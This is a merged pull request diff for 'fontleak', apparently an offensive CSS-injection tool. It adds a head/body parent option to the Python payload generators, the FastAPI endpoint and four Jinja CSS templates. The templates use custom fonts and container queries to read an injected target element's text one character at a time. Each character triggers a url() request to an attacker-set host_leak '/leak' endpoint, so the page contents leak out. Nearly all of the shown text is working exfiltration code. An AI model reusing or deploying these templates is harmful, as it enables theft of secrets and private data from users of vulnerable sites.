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Support parent=head by swapping grid columns and container element #3

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Merged
adrgs merged 1 commit into from
Mar 10, 2026
Merged

Support parent=head by swapping grid columns and container element #3

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6 changes: 6 additions & 0 deletions fontleak/cssgen/dynamic.py
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,7 @@ def generate(
host_leak: str,
leak_selector: str,
browser: str,
parent: str = "body",
) -> str:
if step > len(step_map):
raise ValueError(
Expand Down Expand Up @@ -41,6 +42,7 @@ def generate(
"host": host,
"host_leak": host_leak,
"browser": browser,
"parent": parent,
}

return template.render(**context)
Expand Down Expand Up @@ -74,6 +76,7 @@ def generate_sfc(
leak_selector: str,
browser: str,
length: int,
parent: str = "body",
) -> str:
html_width = length * (alphabet_size + 1) + 1

Expand All @@ -95,6 +98,7 @@ def generate_sfc(
"host_leak": host_leak,
"leak_selector": leak_selector,
"browser": browser,
"parent": parent,
}

return template.render(**context)
Expand All @@ -111,6 +115,7 @@ def generate_anim(
host_leak: str,
leak_selector: str,
browser: str,
parent: str = "body",
) -> str:
if idx_max > len(step_map):
raise ValueError(
Expand Down Expand Up @@ -138,6 +143,7 @@ def generate_anim(
"host": host,
"host_leak": host_leak,
"browser": browser,
"parent": parent,
}

return template.render(**context)
2 changes: 2 additions & 0 deletions fontleak/cssgen/static.py
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,7 @@ def generate(
host_leak: str,
leak_selector: str,
browser: str,
parent: str = "body",
) -> str:
"""Generate static CSS for font leak attacks"""
# Calculate width containers for leak detection
Expand All @@ -38,6 +39,7 @@ def generate(
"host": host,
"host_leak": host_leak,
"browser": browser,
"parent": parent,
}

# Render CSS template
Expand Down
5 changes: 5 additions & 0 deletions fontleak/main.py
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Original file line number Diff line number Diff line change
Expand Up @@ -115,6 +115,7 @@ async def index(request: Request, params: DynamicLeakSetupParams = Depends()):
prefix=params.prefix or "",
strip=params.strip,
length=params.length,
parent=params.parent,
)
params.id = new_id

Expand Down Expand Up @@ -148,6 +149,7 @@ async def index(request: Request, params: DynamicLeakSetupParams = Depends()):
host_leak=settings.host_leak,
leak_selector=params.selector,
browser=state.browser,
parent=params.parent,
)
return Response(
content=css,
Expand All @@ -168,6 +170,7 @@ async def index(request: Request, params: DynamicLeakSetupParams = Depends()):
host_leak=settings.host_leak,
leak_selector=params.selector,
browser=state.browser,
parent=params.parent,
)
return Response(
content=css,
Expand All @@ -189,6 +192,7 @@ async def index(request: Request, params: DynamicLeakSetupParams = Depends()):
leak_selector=params.selector,
browser=state.browser,
length=state.length,
parent=params.parent,
)
return Response(content=css, media_type="text/css")

Expand Down Expand Up @@ -252,6 +256,7 @@ def generate_static_payload(
host_leak=settings.host_leak,
leak_selector=params.selector,
browser=browser,
parent=params.parent,
)

return Response(
Expand Down
4 changes: 4 additions & 0 deletions fontleak/schemas.py
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Original file line number Diff line number Diff line change
Expand Up @@ -157,6 +157,10 @@ class LeakState(BaseModel):
setup: BaseLeakSetupParams = Field(
description="Setup parameters for the dynamic leak"
)
parent: str = Field(
default="body",
description="Parent element (body or head)",
)
browser: str = Field(
default="all",
description="Browser compatibility (all, chrome, firefox, safari)",
Expand Down
37 changes: 37 additions & 0 deletions templates/dynamic-anim.css.jinja
View file
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Original file line number Diff line number Diff line change
Expand Up @@ -20,11 +20,43 @@ html {
top: 0 !important;
left: 0 !important;
display: grid !important;
{% if parent == "head" %}
grid-template-columns: auto 1fr;
{% else %}
grid-template-columns: 1fr auto;
{% endif %}
width: {{ html_width }}px !important;
will-change: content, transform !important;
}

{% if parent == "head" %}
head {
display: block !important;
width: auto !important;
height: auto !important;
position: static !important;
}

body {
display: block !important;
container-type: size !important;
container-name: leak;
height: 100% !important;
width: 100% !important;
max-width: {{ html_width }}px !important;
background: blue !important;
}

body::before {
display: block !important;
width: 0px !important;
height: 0px !important;
position: absolute !important;
top: 0 !important;
left: 0 !important;
content: "";
}
{% else %}
head {
display: block !important;
container-type: size !important;
Expand Down Expand Up @@ -52,6 +84,7 @@ body {
height: auto !important;
position: static !important;
}
{% endif %}

@font-face {
font-family: 'fontleak';
Expand Down Expand Up @@ -98,7 +131,11 @@ body {

{% for container in width_containers %}
@container leak (width: {{ container.width }}px) {
{% if parent == "head" %}
body::before {
{% else %}
head::before {
{% endif %}
content: var(--a, var(--b, url("{{ host_leak }}/leak?idx={{ container.char_idx }}&id={{ id }}")));
}
}
Expand Down
37 changes: 37 additions & 0 deletions templates/dynamic-sfc.css.jinja
View file
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Original file line number Diff line number Diff line change
Expand Up @@ -20,11 +20,43 @@ html {
top: 0 !important;
left: 0 !important;
display: grid !important;
{% if parent == "head" %}
grid-template-columns: auto 1fr;
{% else %}
grid-template-columns: 1fr auto;
{% endif %}
width: {{ html_width }}px !important;
will-change: content, transform !important;
}

{% if parent == "head" %}
head {
display: block !important;
width: auto !important;
height: auto !important;
position: static !important;
}

body {
display: block !important;
container-type: size !important;
container-name: leak;
height: 100% !important;
width: 100% !important;
max-width: {{ html_width }}px !important;
background: blue !important;
}

body::before {
display: block !important;
width: 0px !important;
height: 0px !important;
position: absolute !important;
top: 0 !important;
left: 0 !important;
content: "";
}
{% else %}
head {
display: block !important;
container-type: size !important;
Expand Down Expand Up @@ -52,6 +84,7 @@ body {
height: auto !important;
position: static !important;
}
{% endif %}

{% for i in range(idx_max) %}
@font-face {
Expand Down Expand Up @@ -97,7 +130,11 @@ body {

{% for container in width_containers %}
@container leak (width: {{ container.width }}px) {
{% if parent == "head" %}
body::before {
{% else %}
head::before {
{% endif %}
content: url("{{ host_leak }}/leak?step={{ container.step }}&idx={{ container.char_idx }}&id={{ id }}");
}
}
Expand Down
38 changes: 38 additions & 0 deletions templates/dynamic.css.jinja
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -21,11 +21,44 @@ html {
top: 0 !important;
left: 0 !important;
display: grid !important;
{% if parent == "head" %}
grid-template-columns: auto 1fr;
{% else %}
grid-template-columns: 1fr auto;
{% endif %}
width: {{ html_width }}px !important;
will-change: content, transform !important;
}

{% if parent == "head" %}
head {
display: block !important;
width: auto !important;
height: auto !important;
position: static !important;
}

body {
display: block !important;
container-type: size !important;
container-name: leak;
height: 100% !important;
width: 100% !important;
max-width: {{ html_width }}px !important;
background: blue !important;
}

/* Set up the body::before for reporting */
body::before {
display: block !important;
width: 0px !important;
height: 0px !important;
position: absolute !important;
top: 0 !important;
left: 0 !important;
content: "";
}
{% else %}
head {
display: block !important;
container-type: size !important;
Expand Down Expand Up @@ -53,6 +86,7 @@ body {
height: auto !important;
position: static !important;
}
{% endif %}

/* Target element styling */
{{ leak_selector }} {
Expand Down Expand Up @@ -82,7 +116,11 @@ body {

{% for container in width_containers %}
@container leak (width: {{ container.width }}px) {
{% if parent == "head" %}
body::before {
{% else %}
head::before {
{% endif %}
content: url("{{ host_leak }}/leak?step={{ step }}&idx={{ container.char_idx }}&id={{ id }}");
}
}
Expand Down
37 changes: 37 additions & 0 deletions templates/static-anim.css.jinja
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -20,11 +20,43 @@ html {
top: 0 !important;
left: 0 !important;
display: grid !important;
{% if parent == "head" %}
grid-template-columns: auto 1fr;
{% else %}
grid-template-columns: 1fr auto;
{% endif %}
width: {{ html_width }}px !important;
will-change: content, transform !important;
}

{% if parent == "head" %}
head {
display: block !important;
width: auto !important;
height: auto !important;
position: static !important;
}

body {
display: block !important;
container-type: size !important;
container-name: leak;
height: 100% !important;
width: 100% !important;
max-width: {{ html_width }}px !important;
background: blue !important;
}

body::before {
display: block !important;
width: 0px !important;
height: 0px !important;
position: absolute !important;
top: 0 !important;
left: 0 !important;
content: "";
}
{% else %}
head {
display: block !important;
container-type: size !important;
Expand Down Expand Up @@ -52,6 +84,7 @@ body {
height: auto !important;
position: static !important;
}
{% endif %}

@font-face {
font-family: 'fontleak';
Expand Down Expand Up @@ -98,7 +131,11 @@ body {

{% for container in width_containers %}
@container leak (width: {{ container.width }}px) {
{% if parent == "head" %}
body::before {
{% else %}
head::before {
{% endif %}
content: var(--a, var(--b, url("{{ host_leak }}/leak?idx={{ container.char_idx }}&sid={{ id }}")));
}
}
Expand Down
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